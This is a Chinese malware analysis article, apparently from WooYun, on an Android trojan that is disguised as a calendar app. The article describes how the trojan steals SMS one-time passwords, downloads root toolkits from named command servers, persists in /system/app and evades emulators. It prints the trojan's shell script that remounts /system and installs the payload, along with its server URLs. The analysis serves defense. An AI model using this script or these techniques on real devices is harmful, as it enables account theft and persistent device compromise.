4

“伪万年历” Root Exploit恶意应用分析 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

“伪万年历” Root Exploit恶意应用分析

作者:逆巴,[email protected]

0x01 木马介绍


攻击者将木马制作成用户刚需应用,如色情类、生活服务类,或将恶意代码通过二次打包,注入到合法的应用当中,伪装成为合法应用,上传到android市场或某些论坛,诱导用户下载。一旦用户下载运行了此类应用,木马通过云端推送root 工具包,以及恶意应用;通过短信提取动态密码,第一时间发送给木马作者,直接造成财产损失、隐私泄露等;木马创建不死服务,后台root设备,成功root后将 恶意应用植入系统分区,用户即使恢复出厂设置也无法完全卸载木马。具体执行过程如下图:

图木马执行流程

被感染应用以及恶意样本数量过千类,以下列出“万年历,清涩笑话,特实惠, 魅力女生动态桌面,开心乐消消-欢乐版,内涵壁纸,开心乐消消,全网充话费,极致腿模,好听音乐,HoloTorch,情趣内涵电台,Accurate Battery,Super Silent,心情天气”

图木马图标

0x02 样本行为分析


样本存在大量变种,以下对“伪万年历”样本进行行为分析。木马将恶意代码打包入正常应用。启动“伪万年历”应用后,进入正常的日历界面,而应用的Application 类作为恶意代码入口点。

图“伪万年历”应用启动界面

2.1监听短信彩信,获取动态验证码

提取短信中的动态密码,第一时间转发到指定号码并截断短信发送,这样用户将在不之情的情况下,大量账号被盗。拦截用户短信彩信,提取到的动态密码以及手机信息发送到云端服务器。直接造成财产损失,隐私泄露。

木马动态注册短信监听广播,通过类加载反射等技术进行具体的监控操作。当触发短信消息事件时,木马会动态加载myjar.jar,反射调用smscheck函数。

图动态注册广播监听短信消息

图动态加载dex,反射调用smscheck函数

图提取动态密码代码

对smscheck函数分析,发现若拦截到的短信中存在动态密码,病毒会第一时间发送给指定号码,同时会将动态密码,以及当前手机信息作为参数post提交到云端服务器。也就是木马作者通过用户手机号码找回密码,这样轻松的盗取用户账号密码,而中马用户完全不知晓。

图将动态密码发送到指定手机

图将拦截到短信发送到指定服务器

接下来过滤短信发送者,将短信内容,发送者手机号码,以及手机imsi等发post到指定服务器

跟踪发现服务器目录,存放了中马手机信息以及root手机的工具

图服务器目录文件

2.2启动LocationService

a 监听广播,触发云端交互,下载root 工具包和推广的恶意应用

LocationService开启任务线程,在任务线程里动态注册广播,监听网络变化,屏幕唤醒锁屏,应用安装卸载跟新等,监控广播做为病毒行为触发点。获取手机信息做为post参数,上传到云端服务器。 (android.net.conn.CONNECTIVITY_CHANGE,android.intent.action.USER_PRESENT,android.intent.action.SCREEN_OFF,android.intent.action.SCREEN_ON,android.intent.action.PACKAGE_ADDED,android.intent.action.PACKAGE_CHANGED, android.intent.action.PACKAGE_REPLACED,android.intent.action.PACKAGE_REMOVED)

接下来对病毒下载云端root 工具的分析。木马首先向服务器post手机的imei、imsi、分辨率、手机号等基本信息,服务器返回加密的url指令,解码url获取下载Root手机所需的busybox、su、install-recovery.sh等工具

图post 手机信息到服务器(http://api.wangyan9488.com:8285/api/getShell.jsp),返回加密url

图服务器返回的加密url

图shellv5.jar 里的文件 root 工具包

木马本地解密url,获取到root 工具下载源(http://222.21x.xxx.7:8661/apk/rootsheel/1438654068044948.jar),下载到手机后改名为“shellv5.jar”,其实是一压缩包

采用同样的过程下载root sdk,访问服务器http://api.wangyan9488.com:8287/api/getAttach.jsp,获取加密url

图加密root sdk url

木马解密url,获取下载源(http://222.21x.xxx.x:8661/apk/dlapp/14386539787043206.jar)下载jar文件,下载到手机后改名为“dlv5.jar”。通过动态加载该文件中的dex文件,同时利用之前下载的工具获取Root权限,随后将同名文件名的apk文件植入到/system/app/下并安装。该apk伪装成系统“下载服务”,而自身是与母样本伪万年历相同行为的木马。

b 强制激活设备管理,防止卸载

利用设备管理器缺陷,在取消激活设备管理之前,DevicePolicyManagerService会调用应用的onDisableRequested方法获取取消激活的警示信息。下图可以发现病毒在发现取消激活时,会进行屏幕锁屏之后进入系统setting 页面,这样一旦用户激活设备将无法卸载。

图取消设备管理时屏幕锁屏

c 最后启动另外一个核心服务blueService

图启动BlueService服务

2.3 blueService服务

a 强制安装ANDROID_SCREEN_ON_OFF.apk应用

伪装成系统“下载管理”应用,同样通过post手机信息到云端服务器,get加密后的url,然后本地解密url获取下载推广的应用。同样的代码模块激活设备管理防止卸载。

图“下载管理”应用

图“下载管理”激活设备管理

b root 手机

下图为BlueService服务的任务线程,红色框动态注册RootReciver,当网络发生变化或手机锁屏唤醒时,在后台尝试root。

图blueService服务任务线程代码

检测14425728404326709.apk是否被安装,其实这是root之后安装到系统目录下的文件,root的最终目的就是将恶意应用植入system目录,伪装成系统应用,长期驻留用户设备。木马通过DexClassLoader加载云端配置的rootDex,随后反射调用getDex 函数进行root工作。下图动态加载dex,反射调用getDex

图动态加载dex,反射调用getDex

将云端下载到sdcard/.xxx目录里的busybox,su 拷贝到应用文件目录,创建aa.xml文件表示开始进行root 工作。下图创建开始root文件

图创建开始root的flag文件

将云端下载在xxx目录下的root 工具,拷贝到data/files目录下,并在files目录下创建psneuter.js

图拷贝root 工具

root成功后将14425728404326709.apk 安装到system/app目录并启动该应用。动态拦截发现,本次分析下载的root sdk 工具包,应该是刷机大师的MTK ROOT方案。由于云端配置灵活,下载获取的root工具包灵活(根据手机版本等信息,下载不同root工具包)。

图root 手机代码

图动态拦截返回

  1. suc f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh psneuter.js
  2. suc al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh psneuter.js
  3. suc HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh psneuter.js

成功root后执行psneuter.js,木马将成功伪装成系统应用隐藏在用户手机,即使恢复出厂设置也无法卸载。

psneuter.js文件内容

#!bash
#!/system/bin/sh
mount -o rw,remount /system
/data/local/tmp/busybox mount -o rw,remount /system
cat /data/local/tmp/14425728404326709.apk > /system/app/14425728404326709.apk
chmod 0644 /system/app/14425728404326709.apk
pm install /system/app/14425728404326709.apk
mount -o ro,remount /system
/data/local/tmp/busybox mount -o ro,remount /system
echo "Now, script finish!”

图 root成功木马伪装系统软件“下载服务”

c 不死服务LocationService, BlueService

只要保证两大核心服务LocationService,BlueService 不死,就可以一直在后台执行恶意代码。木马在启动核型服务LocationService,BlueService的同时,会注册守护广播,保证核心服务一直启动。

图启动LocationService服务同时注册守护广播

守护服务的广播,通过监听屏幕开关、手机电量变化、时间更改,启动被保护的服务。

图守护广播监听的消息

0x03 变种追踪


该样本存在大量变种,且都是由LocationService,BlueService核心服务演变而来,从最开始的恶意应用推广到云端root sdk配置,升级到通过短信盗号,对抗杀软检测在native层检测运行环境等。

对变种木马“内涵壁纸”样本分析,首先在native层检查运行环境,若不是模拟器才启动恶意广播。这样有效的躲避了动态引擎检测,以及逆向分析人员分析。

图native层启动恶意广播

模拟器检查,若木马运行环境在模拟器内,木马将不会启动恶意广播。模拟检查主要检查cpuinfo是否为goldfish,设备IDS是不是 “000000000000000”, imsi id是不是“310260000000000“,手机运营商等。

图模拟器检测

0x04 建议和解决方案


  1. 使用加固手段增加被恶意者二次打包的成本:如使用阿里聚安全应用加固方案,无需开发者修改源代码或者二次开发,通过加壳,加密,逻辑混淆,代码隐藏等各类应用加固方法,防止应用被逆向分析,反编译,以及二次打包嵌入各类病毒广告等恶意代码。

  2. 用户下载应用请到官方网站或安全应用市场,切勿点击任何色情链接,尤其是短信、QQ、微信等聊天工具中不熟识的“朋友”发来的链接。

  3. 如果不确定手机是否毒,可以安装阿里钱盾等手机安全软件,对手机上的应用进行检测,防止高风险恶意应用的安装。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK